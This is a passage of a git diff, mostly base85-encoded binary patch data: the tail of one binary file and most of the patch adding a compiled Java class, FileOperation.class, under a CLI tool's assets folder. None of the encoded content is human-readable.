z@C_>PoYpHX-^(=OlDBm}Nl+5oCkcu)Gi#zupR*i}O_CgwLOXc^lO?MNcV|Q39MY`o z7^Z9t1*RUxv?fpB+#{IY<PCaB$pUJE-ueP+n|#MmN6yzbsT?ezp)RNu5IT&;0>byw zr%R>4be0HUIcl+j|LtkVLaan9gIa|SbfXhn2wN0u)Um9!_gaLEh31{OoI%ub{T0-5 z(ZUkEi!wLu%)+|~gNN2acn{u7(7Ty7S8>)ytE2Hgyq~~)fZjc{5#(zAuHj0F%Wl3U zE(eZb27@@iD=_m2E@<+E0<#L3-BW)Qa|Dhuiy-4Z%2dLBY?7n-0*_--lP~0~3^Z|p z<kRfH0zL{@s0;*I02jHGsy1;yp_br;2~Lw1lEc|Op+K{I9XxRx3(~^C;sTcJ$A}O= zmU?0Zw1fh!N{y2eO`A~7s@AXP-Zya6gR!_6^RbDe&8+%c_>*fJlQ6>6iW0FH@v(3% z)9xnrfLl2$%lQhT5+hO{rjEwdD-^a&RvaiHe*jlAMP*+&fNN;MMUNlHbtJT#e)nN7 z*Lq3`EVZu2rPP-RJOQ59F;&A14U;t7@ETUD!K9Z_J*Mn9ZltOUAK@Q=<nk$xCB&n1 zQ+|jUR$0J>fwlsc-HeOs<ac1XQ`qaBGWH-=*c0u;Cj9oq%3%`|52B&|ajfdBYY23x zBYF@MIqr1EevZ4G@rq(OUVRd2{0?bGt5zhNrhPhf@N>L_2<=1-v0TcAxmBG<j$e7= zwTpSW2X_-&c@k$c*a!>aepL<_b_xGOPO&JK2wUqW!Xy#)!SyP()|7$ilD|+L5O;B2 zqt@QQnocLJ>j+;@;G!c~+Z76Q3sOJCN43mt3G6y2KGk?hbJcb0WpGUO&VyLV&ZI1C zP!<a4DR!fahpcouQE6pEU}IoS0h<Dw)vL4NUZ#kjWM0X7<yPfkCMzHql$#~X&qN$U zdQT;>my@h3N$U<0x`$NWN-|%;fUhHkC3IU@R;CiVTbSHluA0sC`~<CRWm%9iA6K@q zjNZywLQw*CFK$yM#m%JNqe@B-ONqVKPak$-OOV5Go!}O{s>}wM!UT1atg@`W%gV$W zM#u>aIgL-@cKbB&I=3RZ)qA=XxTD_9L)lVYeFR&ptJ8~)VH+#dTe>DbtT%bwbG&1` zLC>SNVQkPd#v2+X*dyP1-MTBi;^2uFf*x5ZY+$FT`gRR#=e2CG*RgJ1PeAsv(%wjr zWSILDkj>oP3Uc-ia#%vu>p)eDMXE0FXD}LZkh3n@n9kOG7d^D`-uY<)=~4MOUP86P b=}40Z(KZbM7LQlh_6O^)z-MURg}eU)i24G} literal 0 HcmV?d00001 diff --git a/tools/cli/src/connect/assets/FileOperation.class b/tools/cli/src/connect/assets/FileOperation.class new file mode 100644 index 0000000000000000000000000000000000000000..a0dccd9c4b783778a641c3ad38b92e6f38257463 GIT binary patch literal 22768 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 